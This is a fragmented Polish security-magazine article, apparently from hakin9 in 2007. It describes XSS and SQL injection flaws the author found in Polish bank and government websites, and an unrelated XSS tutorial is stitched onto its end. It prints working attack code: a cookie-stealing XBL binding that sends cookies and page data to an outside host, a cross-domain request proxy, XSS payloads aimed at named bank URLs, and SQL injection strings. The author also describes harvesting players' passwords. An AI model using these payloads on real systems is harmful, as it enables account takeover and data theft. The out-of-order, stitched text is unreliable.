tym,  iż  obiekt  może  zostać  urucho-
miony  jedynie  w  obrębie  body.  Ko-
rzysta  on  również  ze  specjalnego
pliku PHP. Jego przykładowa imple-
mentacja  zamieszczona  została  na
Listingu 5.

Przykładowe cele ataku

– Nordea i PKO Inteligo

Do tej pory w artykule opisałem jedy-
nie teoretyczną sytuację. Nie dałem
jednak żadnego przykładu wykorzy-

Listing 3.

Plik myxmlhttprequest.js

var

mysubglobalcallback

;

function

myglobalcallback

(myanswer)

{

mysubglobalcallback(

unescape

(myanswer))

;

}

function

mysend

(params)

{

mysubtmp

document.createElement(

'script'

)

;

mysubglobalcallback

this

.onreadystatechange

;

(

this

.method

"GET"

)

mysubtmp.src

"http://sectroyer.110mb.com/myhttp.php?u

rl="

escape

(

this

.url)+

"&method=get"

;

else

(

this

.method

"POST"

)

mysubtmp.src

"http://sectroyer.110mb.com/myhttp.php?u

rl="

escape

(

this

.url)+

"&method=post&vars="

escape

(params)

;

document.body.appendChild(mysubtmp)

;

this

.readyState

;

}

//we only can do asynchronous requests

function

myset

(mymethod,myurl,asynch)

{

this

.method

mymethod

;

this

.url

myurl

;

}

function

MyXMLHttpRequest

()

{

this

.method

;

this

.url

;

this

.readyState

;

this

.responseText

;

this

.sync

;

this

.onreadystatechange

;

this

open

myset

;

this

.send

mysend

;

}

Listing 4.

Plik abnormal.js

var

req

new

MyXMLHttpRequest()

;

function

callback

(responseText)

{

(req.readyState

)

{

alert

(responseText)

;

}

req.onreadystatechange

callback

;

req.

open

(

"GET"

"http://www.google.com/"

,true)

;

req.send(null)

;

req.

open

(

"POST"

"http://hroch486.icpf.cas.cz/cgi-bin/echo.pl"

,true)

;

req.send(

"your_name=test_name"

)

;

hakin9 Nr 5/2007

www.hakin9.org

Atak

stania  przedstawionych  przeze  mnie
technik w praktyce. Aby zobrazować
potencjalne  zagrożenie,  posłużę  się
opisami  błędów  w  dwóch  serwisach
internetowych  –  Nordea  i  PKO  Inte-
ligo.  Po  przeanalizowaniu  zabezpie-
czeń Banku Nordea udało mi się wy-
kryć  kilka  błędów.  Ponieważ  nie  po-
siadam  konta  w  tym  banku,  nie  by-
łem w stanie dokładnie ocenić poten-
cjalnego niebezpieczeństwa, wynika-
jącego z wykorzystania tych luk. Sko-
rzystałem  więc  ze  znajdującego  się
na  stronie  http://www.nordea.pl  for-
mularza, w celu, choćby częściowego
uzupełnienia  mojej  wiedzy  i  poinfor-
mowania o zaistniałej sytuacji. Szcze-
rze  powiedziawszy,  jak  to  często  się
zdarza, nie spodziewałem się żadnej
reakcji.  Dużym  zaskoczeniem  oka-
zała się dla mnie bardzo szybka od-
powiedź pracowników banku. Doszło
między nami do wielokrotnej wymiany
e-maili  oraz  kilku  rozmów  telefonicz-
nych.  Poproszono  mnie  o  przedsta-
wienie  szczegółów  dotyczących  mo-
ich badań. Udzielono mi również do-
kładnych  informacji  na  temat  natury
wykrytych  przeze  mnie  błędów.  Jak
się okazało, część z nich wynikała z
pomyłki producenta oprogramowania
serwera www, a nie samego serwisu.
Dowiedziałem  się  również,  iż  całość
skryptów została sprawdzona pod ką-
tem  zgłoszonych  błędów.  Po  zakoń-
czeniu  wszystkich  prac  poproszono
mnie o ponowne przyjrzenie się ser-
wisowi.  Tym  razem  nie  udało  mi  się
znaleźć żadnej podatności na ataki ty-
pu XSS. Cieszy mnie, iż Bank Nordea
podszedł do sprawy tak poważnie i to
zanim doszło do jakiegokolwiek szu-
mu  medialnego.  Ta  pozytywna  reak-
cja  powinna  być  przykładem  dla  in-
nych instytucji. Najczęściej informacje
o lukach są albo ignorowane, albo do-
chodzi do tzw. cichego łatania luk za-
nim jakakolwiek wiadomość o nich do-
trze do opinii publicznej. Teraz chciał-
bym opisać szczegóły owych błędów.
Pierwsza  wykryta  przeze  mnie  luka
znajdowała  się  w  części  informacyj-
nej  pod  adresem  www.nordea.pl  w
polu szukaj: http://www.nordea.pl/pl/

search/?query=jasio

<script>alert

( d o c u m e n t.c o o k i e ); < / s c r i p t >

Udało się dzięki niej doprowadzić do

JavaScript Injection, przedstawione
na Rysunku 2 i 3.

Możliwe było również dopro-

wadzenie  do  pełnego  XSS.  Serwis
wewnętrzny,  który  znajduje  się  pod
adresem  https://www.nordeasolo.pl.

Tutaj  nie  było  już  tak  łatwo.  Dane
przekazywane  do  serwera  są  od-
powiednio  filtrowane,  a  część  stron
jest  po  prostu  statyczna.  Niestety,
główny  skrypt  umożliwiał  przekie-
rowania  na  inną  podstronę:  https://

Rysunek 1.

Efekt działania obiektu MyXMLHttpRequest

Rysunek 2.

Cookie zdobyte na stronie głównej

Listing 5.

Plik myhttp.php

php

(

isset

(

$_GET

[

'url'

])

==true

)

{

$curl

=curl_init

()

;

curl_setopt

(

$curl

,CURLOPT_COOKIE,

$_GET

[

'cookie'

])

;

curl_setopt

(

$curl

,CURLOPT_URL,rawurldecode

(

GET

[

'url'

]))

;

curl_setopt

(

$curl

,CURLOPT_RETURNTRANSFER,1

)

;

((

$_GET

[

'method'

]

"post"

)

(

isset

(

GET

[

'vars'

])

==true

))

{

$vars

=rawurldecode

(

$_GET

[

'vars'

])

;

curl_setopt

(

$curl

,CURLOPT_

POSTFIELDS,

$vars

)

;

}

$tmp

=curl_exec

(

$curl

)

;

curl_close

(

$curl

)

;

echo

"myglobalcallback(

.rawurlencode

(

$tmp

)

);"

;

}

Luki w serwisach Nordea i PKO Inteligo

hakin9 Nr 5/2007

www.hakin9.org

www.nordeasolo.pl/solo/www?dest=/

html/applications.jsp&lang=pl Jeśli w
treści  parametru  dest  podamy  nie
istniejący  plik,  to  zostanie  wyświe-
tlony  komunikat  o  błędzie.  Zawierał
on  w  swej  treści  wartość  tego  para-
metru,  która  nie  była  w  żaden  spo-
sób  oczyszczana.  W  efekcie  mogli-
śmy bezproblemowo doprowadzić do
XSS, jak na Rysunku 5.

Błędy, jakie wychwyciłem w PKO,

również nie były łatwe do wykrycia.
Zacznijmy od serwisu informacyjne-
go banku, znajdującego się pod ad-
resem http://www.pkobp.pl. Oczywi-
ście pierwsze swoje kroki skierowa-
łem do pola szukaj. Udało mi się tutaj
wydostać  z  cudzysłowów,  jednakże
niemożność  użycia  niektórych  zna-
ków  nie  pozwoliła  mi  na  JavaScript
Injection.

Po dłuższej analizie odkryłem,

iż  grafiki  Flash  nie  są  poprawnie  za-
bezpieczane.  Po  kliknięciu  na  rekla-
mę  użytkownik  zostaje  przekierowa-
ny  na  wartość  zmiennej

clickTag

Możemy na przykład wpleść w treść
naszej strony taki odnośnik: http://

www.pkobp.pl/images/banners/bdm_

nagroda_150x100_1.swf?clickTag=ja-

vascript:alert (Hacked). Ogranicza nas
tylko nasza fantazja, przykład przeję-
cia cookie i zmiany treści strony może-
my zobaczyć na Rysunku 7.

Błąd ten może zostać wykorzy-

stany do phishingu. Nie pozwala jed-
nak  na  zdobycie  żadnych  przydat-
nych danych, chyba że atakujący jest
w stanie nakłonić internautę do uży-
cia guzika logowanie w celu zalogo-
wania się do części wewnętrznej ser-
wisu.  Następnie  przeanalizowałem
serwis  Inteligo  –  internetową  gałąź
PKO BP. Można by się spodziewać,
że tak wielka instytucja w odpowied-
nim stopniu zadba o bezpieczeństwo
swoich klientów. I faktycznie, trzeba
przyznać, że bezpieczeństwo serwi-
su jest wyższe niż w przypadku wie-
lu  innych  polskich  banków.  Nieste-
ty  obie  strony  (http://www.pkobp.pl
i  http://www.pkointeligo.pl)  były  pi-
sane  bez  globalnego  myślenia.  In-
nymi  słowy  wygląda  to  tak,  że  jed-
na  osoba  dodała  jakąś  funkcjonal-
ność do serwisu, a następnie ją po-
prawnie  zabezpieczyła.  Po  jakimś

czasie drugi programista wykorzy-
stał ją w innej części strony, nie za-
dbał jednak odpowiednio o sprawy
bezpieczeństwa. W efekcie udało mi
się wykryć lukę pozwalają na Java-
Script Injection oraz XSS. Analizy lu-
ki dokonałem wspólnie z Panem Ma-
teuszem Stępniem z portalu Hack.pl.

Błąd znajduje się w dwóch najważ-
niejszych skryptach:

short _ ssk

- od-

powiedzialnego  za  składanie  wnio-
sków  kredytowych  oraz  ikd,  który
zajmuje się obsługą całej bankowo-
ści internetowej, wykonywania prze-
lewów, sprawdzania stanu konta, do-
konywania  ustawień.  Ponieważ  In-

Rysunek 4.

Kod powodujący XSS na stronie głównej

Rysunek 5.

Luka XSS w serwisie https://www.nordeasolo.pl

Rysunek 3.

Kod wyświetlający cookie

hakin9 Nr 5/2007

www.hakin9.org

Atak

teligo, nie używa ciasteczek, moż-
na sobie wyobrazić trzy scenariu-
sze ataku.

Użytkownicy Inteligo (z powodu

braku ciasteczek) są przyzwyczaje-
ni  do  komunikatów  o  wylogowaniu
(sam  byłem  świadkiem,  kiedy  mój
kolega logował się kilka razy). Wy-
starczy  zwykłe  odświeżenie  stro-
ny,  czy  naciśnięcie  guzika  Wstecz,
a  trzeba  się  logować  ponownie.
Jeśli  więc  użytkownik  po  kliknięciu
na  odpowiednio  spreparowany  link
zostałby  wylogowany,  oczywistym
jest założenie, iż mógłby się zalogo-
wać ponownie.

Użytkownik zapamiętał hasło i

login w przeglądarce. Jeśli więc, po
kliknięciu na link, czy nawet tylko
surfując po necie, doprowadzi on do
otwarcia strony Inteligo, przeglądar-
ka wypełni pola odpowiednimi warto-
ściami i po upływie np. 0.5 sekundy
wszystkie dane zostaną wysłane do
atakującego przez lukę RCSR.

Ten scenariusz jest chyba naj-

gorszy, gdyż daje 100% kontroli nad
kontem. Jeśli użytkownik na podej-

rzanej  stronie  spróbuje  dokonać  ja-
kiejkolwiek  płatności  przez  Inteligo,
zostanie  standardowo  przeniesiony
na stronę https://www.pkointeligo.pl i
poproszony o zalogowanie, a następ-
nie  dokonanie  odpowiedniego  prze-
lewu.  W  tym  przypadku  użytkownik
nie ma żadnej możliwości sprawdze-
nia,  czy  ewentualna  transakcja  jest
bezpieczna, co może się zakończyć
utratą wszystkich pieniędzy z konta.
W zamieszczonych zrzutach ekranu
ukazujących zagrożenie umieściłem
jeden,  gdzie  strona  Inteligo  została
podmieniona  przez  stronę  Hack.pl.
Jak można zauważyć jest to do wy-
krycia,  gdyż  przeglądarka  ostrzega
nas  o  tym  (w  Mozilla  Firefox  jest  to
sygnalizowane  przekreśloną  ikoną
kłódki  w  polu  adresowym).  Jednak
jest możliwa pełna podmiana strony,
nie  do  wykrycia  przez  użytkownika.
Dowodem na to jest chociażby zrzut,
na którym znajduje się zamieszczo-
ne  ostrzeżenie  o  kłopotach  Inteligo
z bezpieczeństwem. Ta technika jest
trudniejsza i wymaga od atakujące-
go lepszego przygotowania. Użyłem
prostszej i możliwej do wykrycia me-

Listing 6.

Plik ala.xml

?xml version=

"1.0"

bindings xmlns=

"http://www.mozilla.org/xbl"

xmlns:xbl=

"http://www.mozilla.org/xbl"

xmlns:html=

"http://www.w3.org/1999/xhtml"

xmlns:xul=

"http://www.mozilla.org/keymaster/gatekeeper/

there.is.only.xul"

binding id=

"xss"

implementation

constructor

var

img2

new

Image()

;

img2.src

'http://sectroyer.110mb.com/save.php?login=test&cookie='

+document.cookie

;

var

cok

document.cookie.substr(document.cookie.

indexOf

(

'PHP'

))

;

var

document.getElementsByTagName(

'b'

)[

].innerHTML

;

e.substr(e.

indexOf

(

' '

))

;

var

usr

e.substr(

,e.

indexOf

(

'-'

))

;

var

img

new

Image()

;

img.src

'http://sectroyer.110mb.com/save.php?login='

+usr+

'&cookie='

+cok

;

var

req

null

;

(window.XMLHttpRequest)

// Object of the current windows

{

req

new

XMLHttpRequest()

;

// Firefox, Safari, ...

}

else

(window.ActiveXObject)

// ActiveX version

{

req

new

ActiveXObject(

"Microsoft.XMLHTTP"

)

;

// Internet Explorer

}

req.onreadystatechange

function()

{

(req.readyState

)

{

var

img2

new

Image()

;

img2.src

'http://sectroyer.110mb.com/save.php?action=save&dat

a='

escape

(req.responseText)

;

}

;

req.

open

(

"GET"

"forum_profil.php"

,true)

;

req.send(null)

;

/constructor

/implementation

/binding

/bindings

hakin9 Nr 5/2007

www.hakin9.org

Atak

tody, gdyż moim celem była jedynie
ilustracja problemu, a nie jego realne
wykorzystanie.

W momencie gdy piszę ten tekst,

błąd  w  PKO  Inteligo  jest  już  załata-
ny,  jednakże  podobne  błędy  uda-
ło  mi  się  wykryć  w  wielu  serwisach
bankowych, nie podaję więc żadnych
szczegółów. Chciałbym jedynie zwró-
cić  uwagę  czytelników  na  kwestie
bezpieczeństwa  i  przestrzec  przed
lukami XSS. Gdybym mógł, przepro-
wadziłbym rzeczywisty atak na któryś
z banków wykorzystując takie błędy.
Jednak zakończyłoby się to dla mnie
rozmową  z  prokuratorem.  Właśnie
dlatego  przedstawiam  schemat  ata-
ku na inny serwis i proszę o odrobinę
wyobraźni. Jakiś czas temu zacząłem
grać w grę internetową dostępną na
stronie http://www.farmersi.pl. Wkrót-
ce jednak zainteresowało mnie w tym
serwisie co innego, a mianowicie po-
szukiwanie  błędów.  Poinformowa-
łem administratora o lukach, podzię-
kował mi i poprosił o bliższe zbadanie
bezpieczeństwa portalu. Jeszcze raz
przystąpiłem do badań i udało mi się
wykryć błąd w oczyszczaniu postów
na forum. Odpowiedni wpis, odwołu-
jący  się  do  skryptu,  znajduje  się  na
Rysunku 10. Po dwudziestu czterech
godzinach ponownie skontaktowałem
się  z  administratorem.  Poinformowa-
łem go, że w moim posiadaniu znajdu-
ją się dane kilkudziesięciu graczy (ha-
sła, loginy, maile), w tym kilku z top 10.
Atak  był  możliwy,  mimo  zastosowa-
nych  w  serwisie  restrykcji,  co  do  ad-
resu IP. A wszystko to dzięki połącze-
niu luki XSS z potęgą obiektu XMLHt-
tpRequest.  Teraz  załóżmy,  iż  podob-
ne techniki zostałyby wykorzystane w
stosunku do jednego z banków.

SQL Injection

wciąż żywe

SQL  Injection  to  typ  luk  w  zabezpie-
czeniach, polegający na nieodpowied-
nim  filtrowaniu  lub  niedostatecznym
typowaniu  i  późniejszym  wykonaniu
danych przesyłanych w postaci zapy-
tań SQL do bazy danych. Podatne są
na niego systemy złożone z warstwy
programistycznej  (np.  skrypt  w  PHP,
ASP,  JSP  itp.),  dynamicznie  generu-
jącej zapytania do bazy danych (My-

SQL, PostgreSQL itp.). Najczęściej
błędy tego typu są tłumaczone za po-
mocą przykładu podobnego do tego:

SELECT * FROM users WHERE
user='$current_user';

Teraz wystarczy, iż w zmiennej

$current _ user

zamiast np. kowalski

pojawi się kowalski' or '1'='1, a zapy-
tanie przyjmie postać:

SELECT * FROM users WHERE
user='kowalski' OR '1'='1';

W tym momencie atakujący uzyska
dostęp do listy wszystkich użytkow-
ników bądź, w zależności od kontek-
stu tego zapytania, zaloguje się do
zamkniętej  części  serwisu.  W  wie-
lu  dokumentach  jest  często  napi-
sane,  iż  po  średniku  można  podać
kolejne  polecenia;  nie  wiem  jed-
nak, czy jest baza danych, która na
to pozwala. Są jednak jeszcze gor-
sze przypadki. Spójrzmy na tą stro-
nę – Listing 8.

Stworzy to mniej więcej takie za-

pytanie:

Rysunek 7.

Wykorzystanie JavaScript Injection do pełnego XSS w domenie

pkobp.pl

Rysunek 8.

Atak phishingowy zmieniający kompletnie stronę

Rysunek 6.

Próba JavaScript Injection.

Luki w serwisach Nordea i PKO Inteligo

hakin9 Nr 5/2007

www.hakin9.org

UPDATE users SET password = '$newpass'
WHERE login = '$login' AND password =
'$pass';

Teraz wystarczy, że napastnik do-
prowadzi do czegoś takiego:

UPDATE users SET password = 'jasio'
WHERE '1' = '1' --' WHERE login =
'$login' AND password = '$pass';

Hasła  wszystkich  użytkowników  w
bazie zmienią się wówczas na jasio.
Administratorzy i programiści serwi-
sów internetowych od wielu lat wal-
czyli  z  błędami  SQL  Injection  i  nie-
mal  udało  im  się  przechylić  szalę
zwycięstwa  na  swoją  stronę.  Kil-
ka lat temu zajęto się specyficznym
rodzajem  tych  błędów,  a  mianowi-
cie  sytuacją,  gdy  atakujący  nie  wi-
dzi  żadnego  wyniku  swojego  zapy-
tania. Ustalono, że może to być wy-
korzystane do zadawania serwerowi
pytań  typu  tak  lub  nie  (stąd  nazwa
blind  –  ślepy).  Oznacza  to,  jeśli  na
przykład strona ma skrypt news.php
i pod adresami: news.php?id=2 oraz

news.php?id=2 and 1=1 widzimy ar-
tykuł o krokodylach natomiast pod:

news.php?id=2 and 1=2 nic nam się
nie pojawi,  że udało nam się zmienić
zapytanie.  Ponieważ  żaden  wpis  w
bazie go nie spełniał (2=1), nie ma-
my co czytać. Nikt nie traktował te-
go typu błędów poważnie, gdyż zga-
dywanie choćby jednego znaku wy-
magało  nawet  powyżej  dwustu  nie-
zależnych  zapytań.  Wszystko  zmie-
niło  się,  gdy  na  dwóch  konferen-
cjach (BlackHat Briefings USA 2004
i Defcon 12) przedstawiono program
SQueaL – pierwsze narzędzie, które
było w stanie nawet ściągnąć zawar-
tość całej bazy danych, korzystając
jedynie  z  Blind  SQL  Injection.  Dzi-
siaj jest już dostępnych wiele takich
aplikacji, a ich funkcjonalność z każ-
dym dniem rośnie (sam współpracu-
ję nad projektem jednej z nich). To,
co  wczoraj  wydawało  się  niemożli-
we, dzisiaj jest w zasięgu ręki.

Blind SQL Injection

realnym zagrożeniem

Na początku tego roku mój znajomy
– Marcin Wyczechowski poinformował

Rysunek 10.

Luka XSS w serwisie www.farmersi.pl

Rysunek 11.

Przykładowy komunikat błędu

Rysunek 9.

Całkowicie niewykrywalna zmiana treści strony

Listing 7.

Skrypt z hasłem dostępowym do bazy Głównego

Inspektoratu Ochrony Środowiska

php

//plik ze zmiennymi do fun.php

$host1

'gios.gov.pl'

;

//host

$user1

'root'

;

//uzytkownik

$pass1

'xxxxxxxxx'

;

//haslo

$len

= 150;

//zdjecia

$aktual

'30.01.2007'

;

//ostatnia aktualizacja

$bgkolor

'#ffffcc'

;

//kolor tla w bipie

hakin9 Nr 5/2007

www.hakin9.org

Atak

o wykryciu błędu JavaScript Injection
w  serwisie  Telewizji  Polskiej.  Kiedy
przyjrzałem  się  stronie,  rozpoznałem
ową  nieprawidłowość  jako  lukę  SQL
Injection.  Wysłaliśmy  odpowiedniego
maila do administratorów, ale nie do-
staliśmy  żadnej  odpowiedzi  i  sprawa
przycichła. Kilka tygodni później posta-

nowiłem sprawdzić, jak bardzo groźny
jest ten błąd. Na pierwszy rzut oka
wszystko wyglądało obiecująco. Ser-
wer zwracał komunikaty o złym zapy-
taniu, nie znalazłem żadnych znaków,
które byłyby niedozwolone. Byłem po
prostu pewien, iż wszystko pójdzie, jak
po maśle. A tu niespodzianka. Wyko-

nywane jest nie jedno, a kilka zapytań
o różnej ilości pobieranych elementów
i strukturze. Union stał się bezużytecz-
ny,  subquery  również.  Wtedy  po  raz
pierwszy  spotkałem  się  z  terminem
Blind SQL Injection. Dzięki tej technice
udało mi się ustalić następujące fakty:
baza danych nazywa się tvp, użytkow-
nik tvppl, host znajduje się w sieci we-
wnętrznej  pod  adresem  10.16.3.152
czy  dns-em  mery.tvp.com.pl  ,  a  jako
dbms wykorzystywany jest MySQL w
wersji 4.1.12-standard-log. Byłem rów-
nież w stanie poznać wartość dowol-
nego pola w bazie. Konieczna jest do
tego wiedza o nazwie tabeli i kolumny,
ale komunikaty o błędach w zapytaniu
dają tą możliwość. Możliwe było otrzy-
manie około dziesięciu różnych komu-
nikatów, co daje możliwość stworzenia
całkiem dokładnego modelu bazy.

Po publikacji tych informacji na ła-

mach Hack.pl błędy zostały załatane,
jednakże nadal adres taki np., jak ten:

http://ww6.tvp.pl/View?Cat=1 powo-
duje wyświetlenie informacji o błędzie
w zapytaniu.

Zachęcony sukcesem tej tech-

niki  postanowiłem  wykorzystać  ją
do  zbadania  zabezpieczeń  ser-
wisu  Urzędu  Miasta  Łodzi  (http://

www.uml.lodz.pl). Ku mojemu zasko-
czeniu nie miałem tutaj żadnych pro-
blemów (oprócz wolnych odpowiedzi
serwera) nie tylko z wywołaniem do-
wolnego zapytania w bazie, ale rów-
nież ze ściągnięciem plików konfigu-
racyjnych httpd.conf,passwd, itp, po-
znaniem kodu skryptów czy wresz-
cie zdobyciem haseł dostępowych do
bazy danych. Strukturę jaką miał plik
z hasłami znajdziemy na Listingu 9.

Po 48 godzinach ciągłego ataku

doszedłem do wniosku, iż udało mi się
zebrać wystarczającą ilość dowodów
na krytyczność wykrytej przeze mnie
luki. Powiadomiłem administratora,

Rysunek 12.

Proces zdobywania nazwy użytkownika dzięki Blind SQL

Injection

Listing 8.

Strona logowania do części zamkniętej serwisu

charset=iso-8859-2" />

div>

<p>
<a href="http://validator.w3.org/

check?uri=referer"><img

src="http://www.w3.org/Icons/valid-xhtml11"
alt="Valid XHTML 1.1" height="31" width="88" /></a>

</p>

</body>
</html>

O autorze

Michał  Majchrowicz,  student  III  roku
informatyki  na  wydziale  Elektrotechni-
ki,  Elektroniki,  Informatyki  i  Automaty-
ki Politechniki Łódzkiej.
Kontakt z autorem:
mmajchrowicz@gmail.com

Luki w serwisach Nordea i PKO Inteligo

hakin9 Nr 5/2007

www.hakin9.org

którego trochę zaskoczyła moja infor-
macja. Poproszono mnie o szczegó-
ły i podziękowano mi za pomoc. Błąd
został załatany w ciągu dwóch dni.

Moje zaciekawienie narastało.

Skoro serwery takich urzędów są nie-
zabezpieczone,  to  w  jakim  stanie  są
serwisy  rządowe?  Postanowiłem  za-
chować się, jak totalny lamer i spraw-
dzić  jak  szybko  uda  mi  się  znaleźć
coś ciekawego. Wszedłem na stronę

www.google.com i wpisałem następu-
jące zapytanie site:gov.pl . Nie stara-
łem się za bardzo. Klikałem na kolej-
ne  wyniki  wyszukiwania  i  sprawdza-
łem parametry stron (mniej więcej 30
sekund na serwis). Po kilku minutach
natrafiłem  na  niezabezpieczony  ser-
wis – Głównego Inspektoratu Ochrony
Środowiska  (http://www.gios.gov.pl).
Sam  atak  nie  trwał  długo.  Wkrótce
stałem się posiadaczem plików konfi-
guracyjnych, kodu  wszystkich skryp-
tów  i  danych  dostępowych  do  bazy
danych, jak na Listingu 7.

Wysłałem odpowiedni mail do

administratorów  i  czekałem  na  od-
powiedź.  Około  godziny  14  następ-
nego  dnia  zadzwoniłem  do  Minister-
stwa Ochrony Środowiska w celu po-
znania reakcji na moją informację (nie
otrzymałem bowiem do tego momen-
tu  żadnej  odpowiedzi).  Połączono
mnie z odpowiednią osobą, odpowie-
dzialną za ten serwer. Kiedy zapyta-
łem, jakie kroki zostały podjęte w celu
wyeliminowania  ewidentnie  krytycz-
nej luki, wyglądało na to, że Pan Sła-
womir Hebda po raz pierwszy dowie-
dział się o niej dopiero ode mnie pod-
czas telefonicznej rozmowy. I tym ra-
zem poprawiono stan zabezpieczeń.

Postanowiłem wtedy jeszcze

bardziej  zawęzić  swoje  poszukiwa-
nia,  sprawdzając  stan  bezpieczeń-
stwa  w  serwisie  samego  Minister-
stwa Środowiska (www.mos.gov.pl).
Udało mi się znaleźć cztery błędy w
dwóch  serwerach  baz  danych  (My-
SQL oraz PostgreSQL). Analizę tych
błędów przeprowadziłem wspólnie z
Panem Rafałem Pawlakiem z serwi-
su hacking.pl. Luki te pozwoliły nam
na  otrzymanie  dostępu  do  wszyst-
kich  baz  danych  Ministerstwa  Śro-
dowiska  z  prawem  do  wykonania
dowolnego  zapytania  oraz  uzyska-

nia loginów i haseł dostępowych do
paneli  administracyjnych  serwisów
Ministerstwa  Środowiska,  co  dało
nam  możliwość  dodawania(edycji)
usuwania  informacji.  Na  przykład,
w  podserwisie  IPPC  Polska  mogli-
śmy  w  pełni  zarządzać  contentem
z działów: Wiadomości, Dokumenty,
Wskazówki, Prawo, Kategorie.

Chciałbym podkreślić fakt, że ma-

teriały zawarte w tym artykule ma-

ją wyłącznie charakter edukacyjny, a
jego celem jest ukazanie niskiego po-
ziomu zabezpieczania polskich serwi-
sów, nawet tych rządowych. Nieste-
ty administratorzy rzadko biorą sobie
do serca powiedzenie: Żeby pokonać

hackerów,  trzeba  być  jednym  z  nich.
Wykorzystując  błędy  w  serwisach,
atakujący  tak  naprawdę  wykorzystu-
je lenistwo i niewiedzę osób odpowie-
dzialnych za ich bezpieczeństwo. l

Rysunek 13.

Uzyskanie pełnego dostępu do panelu administracyjnego

Rysunek 14.

Komunikat stworzony przez serwer baza danych

Listing 9.

Skrypt z hasłami dostępowymi do bazy Urzędu Miasta Łodzi

require

(

"db_mysql.inc"

)

;

class

DB_miasto

extends

DB_Sql

{

var

$Host

"localhost"

;

var

$Database

"uml"

;

var

$User

"root"

;

var

$Password

"xxxxxxxx"

;

}

class

DB_prawo

extends

DB_Sql

{

var

$Host

"localhost"

;

var

$Database

"uchwaly"

;

var

$User

"root"

;

var

$Password

"xxxxxxxx"

;

}

Wstrzykiwanie kodu

hakin9 Nr 5/2007

www.hakin9.org

Jak pokazuje ogromna liczba

odnotowanych incydentów, proceder
ten jest szeroko rozpowszechniony.

Aby sobie wyobrazić, jak po-

wszechne i łatwe do przeprowadze-
nia jest to działanie, należy uświado-
mić sobie, że podatna na zagrożenie
jest każda witryna wyświetlająca da-
ne wprowadzone przez użytkownika,
które nie zostały poddane odpowied-
niemu filtrowaniu.

Mimo że zasady odpowiedniego

filtrowania  są  znane  od  dosyć  daw-
na, każdego dnia odkrywane są no-
we podatności nawet podstawowych
i popularnych aplikacji na tego typu
ataki. Dla przykładu, w ciągu ostat-
nich  dwóch  miesięcy,  ofiarami  ata-
ków  XSS  padły  takie  serwisy  jak

amanzon.co.jp, icq.com oraz MIME-

Sweeper For Web.

Podstawy

Na  początek  przeanalizujmy  skrypt
PHP widoczny na Listingu 1. By zaob-
serwować  działanie  ataku,  będziesz
musiał umieścić go na swoim serwe-
rze http. Miej przy tym na uwadze fakt,
że niektóre serwery http mają wbudo-
waną  i  domyślnie  włączoną  obsługę
filtrowania  danych  wprowadzanych
przez  użytkownika,  by  zapobiec  ata-
kom  XSS.  Jeśli  Twój  serwer  oferuje
taką  funkcjonalność,  do  celów  testo-
wych będziesz musiał ją wyłączyć.

Skieruj dowolną przeglądarkę

pod adres ze skryptem. Ujrzysz for-
mularz z dwoma polami do wprowa-
dzania  tekstu  wraz  z  krótkimi  infor-
macjami.  Jest  to  często  spotykany
przypadek. To, co wpiszesz w pola,
zostanie zaprezentowane na kolejnej
stronie.  Spróbuj  teraz  wprowadzić
następujący  tekst  do  pola  textarea:

< s c r i p t > a l e r t( " p o d a t n o ś ć " );
</script>.

Po wysłaniu formularza zobaczysz

wyskakujący alarm ze słowem podat-

ność, jak to przedstawione jest na Ry-
sunku 1. Gratulujemy, właśnie wstrzyk-
nąłeś kod JavaScript do witryny.

Co się stało

Przyjrzyjmy  się  Listingowi  2,  który
zawiera  dynamicznie  wygenerowany
kod  HTML.  Jak  widać,  informacje
wprowadzone  przez  użytkownika  są

wklejane bezpośrednio do kodu stro-
ny. Wprowadzając kod skryptowy do
pola textarea, otrzymamy tym samym
witrynę z naszym kodem, obecnym
w kodzie HTML. Przeglądarka odwie-

dzająca stronę nie będzie wiedziała,
skąd  pochodzi  kod  i  jakie  było  pier-
wotne  założenie  witryny.  Zinterpre-
tuje  i  wykona  kod  obecny  w  bloku

, tak jak to zwykle robi.

Listing 1.

Podatny skrypt

php

setcookie

(

"xss"

"Ta treść zostanie zawarta w ciasteczku"

)

;

$text

$_GET

[

'text'

]

;

$title

$_GET

[

'title'

]

;

(

$text

&& !

$title

){

echo

html

head

title

XSS-Test | Wpisz wiadomość

/title

/head

body

form action=

"example.php"

input type=

"text"

name=

"title"

value=

"Temat"

textarea name=

"text"

rows=

"16"

cols=

"100"

Treść...

/textarea

input type=

"submit"

name=

"send"

value=

"Wyślij wiadomość"

/form

/body

/html

}
if (!$text && $title){
echo '

Musisz wprowadzić wiadomość

a href=

"example.php"

Wróć

}

if (!$title && $text){
echo '

Musisz wprowadzić tytuł

a href=

"example.php"

Wróć

}
if ($text && $title) {
echo '

html

head

title

XSS-Test | Nowe wiadomości

/title

/head

body

Twoje nowe wiadomości:

/h3

'.$title.'

'.$text.'

/body

/html

}
?>

Rysunek 1.

Przeglądarka pokazująca alarm

hakin9 Nr 5/2007

www.hakin9.org

Atak

Tak wykonany kod będzie działał

niezależnie od zaimplementowanych
systemów obronnych strony, niwelu-
jąc sens enkrypcji strumieni i podob-
nych technik.

Analiza skryptu PHP

Przyczyna,  dzięki  której  można
było  tak  łatwo  przeprowadzić  atak,
widoczna  jest  po  przyjrzeniu  się
skryptowi PHP.

echo '...'.$title.'<br

/>'.$text.'...';

nie robi nic więcej po-

za wyświetleniem przypisanych do
zmiennych treści, wysłanych przez
użytkownika.
Podobne mechanizmy są spotykane
w wielu aplikacjach webowych, np.:

•   księgach gości,
•   forach dyskusyjnych,
•   prywatnych wiadomościach,
•   blogach,
•   encyklopediach Wiki

Różnica w stosunku do prawdziwych
aplikacji  webowych  polega  na  tym,
że  przechowują  one  wprowadzany
tekst w bazach danych i wyświetlają
go na konkretne żądanie. Nie sądź-
my jednak, że tylko aplikacje webo-
we  otrzymujące  bezpośrednie  dane
od  użytkownika  są  podatne  na  za-
grożenie atakiem. Skrypty mogą być
także  dołączane  do  niefiltrowanych
e-maili:  wielu  spośród  poważnych
dostawców  systemów  webmail  mia-
ło w przeciągu ostatnich lat kłopoty
z podatnościami na XSS.

Istotne treści

Przypatrzmy się jednej z najprost-
szych metod wykradania istotnych
treści. Często takie dane zawarte są

w  ciasteczkach.  Ciasteczka  z  kolei
są zazwyczaj używane do przecho-
wywania danych uwierzytelniających
użytkownika,  identyfikatorów  sesji
oraz  zahashowanych  zmiennych.
Inne dane także mogą być cenne dla
atakującego,  chociażby  ustawienia
preferencji czy daty logowania.

Skrypt PHP umieszcza ciastecz-

ko  w  Twoim  komputerze.  Spróbujmy
uzyskać  do  niego  dostęp  przy  pomo-
cy JavaScriptu. Wróćmy do podatnego
